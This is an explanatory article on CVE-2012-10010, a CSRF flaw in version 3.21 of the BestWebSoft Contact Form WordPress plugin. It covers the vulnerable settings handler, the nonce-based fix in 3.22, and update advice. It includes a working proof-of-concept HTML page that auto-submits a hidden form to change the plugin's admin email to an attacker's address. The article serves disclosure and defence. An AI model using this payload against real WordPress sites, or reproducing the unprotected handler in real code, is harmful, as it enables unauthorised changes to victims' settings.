BestWebSoft Contact Form is a popular WordPress plugin used to easily add contact forms to websites. In 2012, a security vulnerability was found in version 3.21 of this plugin. This issue, now tracked as CVE-2012-10010 (also known as VDB-225321), was classified as a Cross-Site Request Forgery (CSRF) flaw. In this article, we’ll break down what CSRF is, how the vulnerability works using code snippets, how an attacker could use it, and most importantly, how to fix it.

What Happened?

Vulnerable Plugin: BestWebSoft Contact Form  
Affected Version: 3.21  
Vulnerable File: contact_form.php  
Vulnerable Function: cntctfrm_settings_page  
Patch Commit: 8398d96fffe45ec9267d7259961c2ef89ed8005  
Safe Version: 3.22  

What is CSRF (Cross-Site Request Forgery)?

CSRF is a type of attack that tricks an authenticated user into submitting a request to a web application they are already logged into. The attacker creates a request and convinces the victim to run it, potentially changing settings or actions in an app the victim is authorized to use.

How Does CVE-2012-10010 Work?

In Contact Form 3.21, the settings page handler, cntctfrm_settings_page, does not check for a WordPress security token called a “nonce.” Without this protection, a malicious website can submit requests to the plugin as if it was the logged-in admin.

Vulnerable (Simplified) Code Example

function cntctfrm_settings_page() {
    if ($_POST['cntctfrm_save_settings']) {
        update_option('cntctfrm_settings', $_POST['cntctfrm_settings']);
        // ...other save actions...
    }
    // ...settings page code...
}

There’s no check for a WordPress nonce in this function. So, any POST request sent to this function will be accepted, even if it comes from a third-party website.

How Could an Attacker Use This Flaw?

Suppose an admin is logged into WordPress and visits a malicious site. That site could automatically submit a hidden form to the vulnerable plugin, changing its settings without the admin’s knowledge.

This is an HTML file a hacker might host

<html>
  <body>
    <form action="http://victim.com/wp-admin/options-general.php?page=cntctfrm_settings_page"; method="POST" id="csrf-form">
      <input type="hidden" name="cntctfrm_settings[admin_email]" value="attacker@example.com" />
      <input type="hidden" name="cntctfrm_save_settings" value="1" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

If an authenticated admin visits this page, their browser will send a POST request that changes the plugin setting – for example, switching the admin email to the attacker.

How Was it Fixed?

The developers released version 3.22 to fix this bug by adding a standard nonce check before accepting or saving any settings.

Below is what a typical fix looks like in WordPress code

function cntctfrm_settings_page() {
    if ($_POST['cntctfrm_save_settings']) {
        // Check if nonce is valid
        if (!isset($_POST['cntctfrm_nonce']) || !wp_verify_nonce($_POST['cntctfrm_nonce'], 'cntctfrm_save_settings')) {
            wp_die(__('You do not have sufficient permissions to edit these settings.'));
        }
        update_option('cntctfrm_settings', $_POST['cntctfrm_settings']);
    }
}

The wp_verify_nonce() function ensures that requests only come from the proper place—blocking CSRF attacks.

Patch commit:8398d96fffe45ec9267d7259961c2ef89ed8005

Update to 3.22 or newer immediately.

- Review your WordPress admin users and plugin settings for any unexpected changes if you were using 3.21.

References & Further Reading

- Original Patch Commit
- BestWebSoft Contact Form Plugin
- WordPress Nonce Documentation
- VulDB entry VDB-225321

Final Thoughts

CVE-2012-10010 demonstrates that even widely-used plugins can have hiccups. Keeping plugins up to date is the single best step to keeping your WordPress sites secure. CSRF bugs can be subtle but dangerous, giving attackers a silent backdoor to critical site settings. Stay alert, update regularly, and don’t forget to audit your plugins.

Timeline

Published on: 04/09/2023 06:15:00 UTC
Last modified on: 04/18/2023 01:07:00 UTC